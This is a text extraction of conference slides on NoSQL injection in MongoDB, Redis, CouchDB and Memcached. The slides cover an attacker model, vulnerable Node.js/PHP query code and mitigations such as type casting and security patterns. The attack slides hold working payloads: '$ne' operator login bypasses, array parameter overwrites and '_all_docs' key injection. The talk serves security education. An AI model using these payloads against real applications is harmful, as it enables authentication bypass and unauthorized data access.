nosql injection - karlsruher und frankfurter entwicklertag · login bypass for mongodb on php and...

45
1 NOSQL INJECTION FUN WITH OBJECTS AND ARRAYS @PatrickSpiegel

Upload: dinhcong

Post on 14-Dec-2018

247 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

1

NOSQL INJECTIONFUN WITH OBJECTS AND ARRAYS

@PatrickSpiegel

Page 2: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

2

MOTIVATION

... with MongoDB we are not building queriesfrom strings, so traditional SQL injection attacks

are not a problem.

- MongoDB Developer FAQ [1]

Page 3: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

3

 

AGENDA

 Scope

 Attacker Model

 Attacks

 Mitigation

 Summary

 Questions

Page 4: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

4 . 1

SCOPE

Page 5: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

4 . 2

SCOPE - DATABASES

Database Type Ranking [2]

Document Store 5.

Key-value Store 9.

Key-value Cache 24.

Document Store 26.

Page 6: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

4 . 3

SCOPE - DATABASES

Knowledge Base of Relational and NoSQL Database Management Systems provided by solid IT

Home  |  DB­Engines Ranking  |  Systems  |  Encyclopedia  |  Blog  | Featured Products:    Couchbase DataStax AllegroGraph Neo4j

Select a ranking

Complete rankingRelational DBMSKey­value storesDocument storesGraph DBMSTime Series DBMS

Ranking > Complete Ranking

DB­Engines Ranking

The DB­Engines Ranking ranks database management systems according to theirpopularity. The ranking is updated monthly.

Read more about the method of calculating the scores.

[2]

Page 7: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

4 . 4

 

SCOPE - TECHNOLOGY STACKWhat do we have to consider for NoSQL Injection?

DATABASES            

RUNTIMES       

FRAMEWORKS         

DATABASE DRIVERS

MANY TECHNOLOGY STACKS TO CONSIDER

Page 8: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

5 . 1

ATTACKER MODEL

Page 9: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

5 . 2

ATTACKER MODEL - MIGHTINESS

The attacker is aware of the deployed  technology stack  including runtime, driver,

frameworks and database.

The attacker is able to send  arbitrary requests  tothe server with the authorization of a common

application user.

Page 10: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

5 . 3

ATTACKER MODEL - GOAL

The attacker's goal is to achieve  unintended behavior  of the database query by

altering query  parameters.

The attacker is able to break the  CIA triad  with regard to the stored data.

Page 11: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

5 . 4

ATTACKER MODEL - OVERVIEW

Page 12: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

5 . 5

 

 

 

NOSQL INJECTION VS SQL INJECTION

Query languages for unstructured data

Diverse system and database landscapes

Direct client-side database access (REST)

Focus on driver call parameterization

Page 13: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 1

INJECTION ATTACKS

Page 14: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 2

WHAT'S ALREADY KNOWN?

Login bypass for MongoDB on PHP and NodeJS [3]

String concatenation is still an issue for JSON and

script parameters [4]

 

Escaping flaws of drivers e.g. Memcached 

Got fixed! [5]

Page 15: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 3

 

MONGODB - LOGIN BYPASS [3]

// NodeJS db.collection('users').find({ "user": req.body.user, "password": req.body.password });

POST /login {user :"patrick", password : "1234"}

POST /login {user :"patrick", password : {$ne: ""}}

// NodeJS db.collection('users').find({ "user": "patrick", "password": {"$ne": ""} });

Page 16: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 4

 

MONGODB - OPERATORS

Operators such as greater than and not equals are encoded by object structure

{"$ne": ""}

Name Description$eq Matches values that are equal to a specified value.

$ne Matches all values that are not equal to a specified value.

$gt Matches values that are greater than a specified value.

$where Matches documents that satisfy a JavaScript expression.

$exists Matches documents that have the specified field.

$regex Selects documents where values match a specified regular expression.

...

Page 17: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 5

 

MONGODB - LOGIN BYPASS

... but that does not affect query and form parameters?!

// NodeJS with Express.js db.collection('users').find({ "user": req.query.user, "password": req.query.password });

GET /login?user=patrick&password=1234

GET /login?user=patrick&password[%24ne]=

Page 18: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 6

 

 

NODE.JS - QUERYSTRING PARSING

Here Node.js's querystring magic comes into play! (qs module)

Querystring Resulting Object?param=foo {"param": "foo"}

?param[]=foo&array[]=bar {"param": ["foo", "bar"]}

?param[foo]=bar {"param": {"foo" : "bar"}}

?param[foo][bar]=baz {"param": {"foo" : {"bar"" : "baz"}}}

?param[foo][]=bar&object[foo][]=baz {"param": {"foo" : ["bar", "baz"]}}

...

36,222,502 downloads in the last month and part of many frameworks!

Page 19: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 7

MONGODB - LOGIN BYPASS

... also works for form parameters!

POST /login HTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 29

user=Patrick&password[%24ne]=

Page 20: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 8

MONGODB - LOGIN BYPASS

 And other languages?

// PHP $collection->find(array( 'user' => $_GET['user'], 'password' => $_GET['password'] ));

# Ruby on Rails db['users'].find({ :user => req.params['user'], :password => req.params['password'] })

# Python with Django db.users.find({ "user": request.GET['user'], "password": request.GET['password']})

Page 21: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 9

REDIS - PARAMETER OVERWRITE INJECTION

... just a key-value store - what's the worst that could happen?

// NodeJS with Express.js RedisClient.set( req.query.key, "Default value" );

GET /set?key[]=foo&key[]=evilValue HTTP/1.1

Parameters passed as array overwrite followingparameters!

Page 22: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 10

REDIS - PARAMETER OVERWRITE INJECTION

// NodeJS with Express.js RedisClient.expireat( req.query.key, new Date("November 8, 2026 11:13:00").getTime() );

GET /expire?key[]=foo&key[]=1117542887 HTTP/1.1

Injected array overwrites all following parameters of each database function!

Page 23: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 11

COUCHDB - LOGIN BYPASS// NodeJS with Express.js function checkCredentials(user, password, callback) { var options = {'selector': {'user': user, 'password': password}}; couch.use('users').get('_find', options, (err, res) => { callback(res.docs.length === 1); });

checkCredentials(req.query.user, req.query.password, handleResult);

GET login?user=patrick&password[%24ne]= HTTP/1.1

Inject query selector to bypass password check!

Page 24: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 12

COUCHDB - LOGIN BYPASS

... then let's check the password within the application layer!

// NodeJS with Express.js function checkCredentials(user, password, callback) { nano.use('users').get(user, (err, res)=> { callback(res.password === paasword); }); }

checkUser(req.query.user, req.query.password, handleResult);

GET /login?user=_all_docs HTTP/1.1

Use special _all_docs document with undefinedpassword property!

Page 25: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 13

COUCHDB - CHECK BYPASS

... then let's check the properties!

// NodeJS with Express.js function getDocument(key, callback) { if (key === "secretDoc" || key[0] === "_") { callback("Not authorized!"); } else { couch.use('documents').get(key, callback); } }

getDocument(req.query.key);

GET /get?user[]=secretDoc HTTP/1.1

GET /get?user[]=_all_docs HTTP/1.1

Page 26: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 14

MEMCACHED - ARRAY INJECTIONfunction getCache(key) { if (key.indexOf('auth_') === 0){ callback("Invalid key!"); } else { memcached.get(key, (err, body)=>{ callback(err || body); }); } }

getCache(req.query.key, handleResult);

GET ?/getCache?key[]=auth_patrick HTTP/1.1

Array injection bypasses application layer checks!

Page 27: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 15

ATTACK OVERVIEW

Class Attack Database

Object Structure SemanticQuery Selector Injection MongoDB

Find Selector Injection CouchDB

Diverging Parameter Handling

Expanding Array Injection MongoDB

Parameter Overwrite Injection Redis

Array Value Injection CouchDB

Array Key Injection Memcached

Shared Scope for DataSpecial Key Injection CouchDB

Data Import Injection CouchDB

Error-prone String Escaping URL Traversal Injection CouchDB

NoSQL Injection is prevalent across databases!

Page 28: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

6 . 16

 

PRACTICAL EXAMPLEPrevious examples are crafted cases. 

Does NoSQL injection exist in real applications?

HashBrown CMS

http://hashbrown.rocks/

Page 29: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 1

MITIGATION

Page 30: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 2

WHAT'S THE PROBLEM?

The queries' semantic is encoded in the  object  ortype structure  of passed parameters. 

{'password': '1234'} vs {'password': {'$ne': '1'}} 

Page 31: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 3

 

IS TYPE CASTING A SOLUTION?

{'password': req.param.password.toString()}

 Secure against type manipulation

 Not flexible enough for unstructured data

 Easy to forget in practice ...

Page 32: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 4

IS DYNAMIC CODE ANALYSIS ASOLUTION?

{user: 'Patrick', address: {city:'Karlsruhe', code: 76133}}

Reduces user-controlled data to string andinteger values

Application-controlled structure

Page 33: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 5

DYNAMIC CODE ANALYSISDATA VARIETY?

if (obj.user && obj.address) { collection.insert({user: obj.user, address: obj.address}); } else if (obj.user && obj.phone) { collection.insert({user: obj.user, phone: obj.phone}); } else if ...

 Secure against type manipulation

 Hard to handle data variety securely

 Breaks existing implementations

Page 34: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 6

THERE IS NO STRAIGHTFORWARDSOLUTION?

 PENDING

Page 35: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 7

 

 

MITIGATION DROP-IN

Page 36: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 8

MITIGATION DROP-INvar client = require('mongodb').MongoClient, db = client.connect('mongodb://localhost:27017/db');

db.users.find({username: req.body.username, password: request.body.password});

var client = require('mongodb-secure').MongoClient, db = client.connect('mongodb://localhost:27017/db');

db.users.find({ user: req.body.user, password: request.body.password}, new client.SecPattern({user: ['string'], password: ['string']}));

Page 37: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 9

MITIGATION DROP-IN

 Drop-in replacement

 Flexible restrictions

 No protection by default

 Manual code changes

Page 38: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

7 . 10

MITIGATION  LEARNING SECURITY PATTERNSLearning  and  execution  phase for security

patterns, to allow common behavior and blockconspicuous cases.

 Drop-in replacement

 Protection by default

 No manual code changes

Page 39: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

8 . 1

SUMMARY

Page 40: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

8 . 2

SUMMARYNoSQL databases are  not secure  against

injection attacks

Query semantic  is encoded by object structureand can be manipulated

Security Patterns  represent a promising solutionfor NoSQL Injection and still allows a maximum of

flexibility

Page 41: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

9

PATRICK SPIEGEL SAP SE 

[email protected] 

$ DB.CLOSE({PRESENTATION})

https://patrick-spiegel.de/MasterThesis.pdf

Page 42: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

10 . 1

BIBLIOGRAPHY

Page 43: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

10 . 2

[1] MongoDB, Inc. How does MongoDB address SQL or Query injection? Nov. 2016,URL: 

 (visited on 25/11/2016). 

[2] Solid IT, DB-Engines Ranking, Nov. 2016, URL:  (visited on 25/11/2016). 

[3] Petko Petkov, Hacking Node.js and MongoDB. 2014, URL:

(visited on 25/11/2016). 

[4] Preecha Noiumkar and Tawatchai Chomsiri, A Comparison:From the Level ofSecurity on Top 5 Open Source NoSQL Databases. In: The 9th InternationalConference on Information Technology and Applications (ICITA2014), 2014. URL:

 (visited on 12/11/2016). 

[5] Ivan Novikov, The New Page of Injections Book: Memcached Injections. In:Black Hat USA (2014), URL: 

(visited on 12/11/2016). 

https://docs.mongodb.com/manual/faq/fundamentals/#how-does-mongodb-address-sql-or-query-injection

http://db-engines.com/en/ranking

http://blog.websecurify.com/ 2014/08/hacking-nodejs-and-mongodb.html

http://www.icita.org/2014/papers/ th-chomsiri.pdf

https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf

Page 44: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

11 . 1

BACKUP

Page 45: NOSQL INJECTION - Karlsruher und Frankfurter Entwicklertag · Login bypass for MongoDB on PHP and NodeJS [3] ... Expanding Array Injection MongoDB Parameter Overwrite Injection Redis

11 . 2

     

TAINTINGFOR MONGODB AND NODE.JS